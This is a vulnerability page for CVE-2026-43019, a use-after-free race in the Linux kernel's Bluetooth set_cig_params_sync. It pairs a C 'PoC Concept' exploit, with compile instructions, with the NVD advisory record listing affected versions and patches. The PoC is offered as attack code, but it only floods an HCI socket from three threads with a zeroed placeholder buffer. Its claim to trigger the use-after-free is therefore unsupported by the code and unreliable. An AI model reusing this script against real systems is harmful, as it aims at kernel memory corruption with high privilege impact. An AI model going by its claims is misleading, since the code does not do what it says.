CVE-2026-43019

/* * PoC Concept for CVE-2026-43019 (Bluetooth UAF) * This code attempts to trigger the race condition in set_cig_params_sync. * Compile: gcc -o poc_bluetooth_uaf poc_bluetooth_uaf.c -lbluetooth */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> // Function to simulate HCI connection stress void* hci_stress_thread(void* arg) { int dd = *((int*)arg); struct hci_request rq; // Placeholder for actual CIG parameter setup command unsigned char buf[1024] = {0}; while(1) { // Continuously send commands to trigger the vulnerable path // The goal is to hit the window between lookup and access write(dd, buf, sizeof(buf)); usleep(50); // Adjust timing to increase race window probability } return NULL; } int main() { int device_id = hci_get_route(NULL); if (device_id < 0) { perror("No Bluetooth device found"); return 1; } int dd = hci_open_dev(device_id); if (dd < 0) { perror("Cannot open device"); return 1; } pthread_t t1, t2, t3; // Spawn multiple threads to create contention on hci_conn pthread_create(&t1, NULL, hci_stress_thread, &dd); pthread_create(&t2, NULL, hci_stress_thread, &dd); pthread_create(&t3, NULL, hci_stress_thread, &dd); printf("Starting PoC to trigger UAF in set_cig_params_sync...\n"); pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); hci_close_dev(dd); return 0; }

{"cve": {"id": "CVE-2026-43019", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:46.103", "lastModified": "2026-05-08T14:35:10.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_conn: fix potential UAF in set_cig_params_sync\n\nhci_conn lookup and field access must be covered by hdev lock in\nset_cig_params_sync, otherwise it's possible it is freed concurrently.\n\nTake hdev lock to prevent hci_conn from being deleted or modified\nconcurrently. Just RCU lock is not suitable here, as we also want to\navoid \"tearing\" in the configuration."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6", "versionEndExcluding": "6.12.81", "matchCriteriaId": "D467CA25-2A1E-475C-969E-62759720CE35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4.16:*:*:*:*:*:*:*", "matchCriteriaId": "8E92AAEB-3511-43E8-B87A-8ECDD0F9A60C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5.3:*:*:*:*:*:*:*", "matchCriteriaId": "82CFAFF6-0F05-40A4-B4A0-3140D6DD012F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/66d432e9b45bae7881ffcdb12cd8fd0bf254ef02", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7d568fede8eac91161a60b710aa920abe9b0fb9f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a2639a7f0f5bf7d73f337f8f077c19415c62ed2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bad65b4b0a96139f023eadc28a33125963208449", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}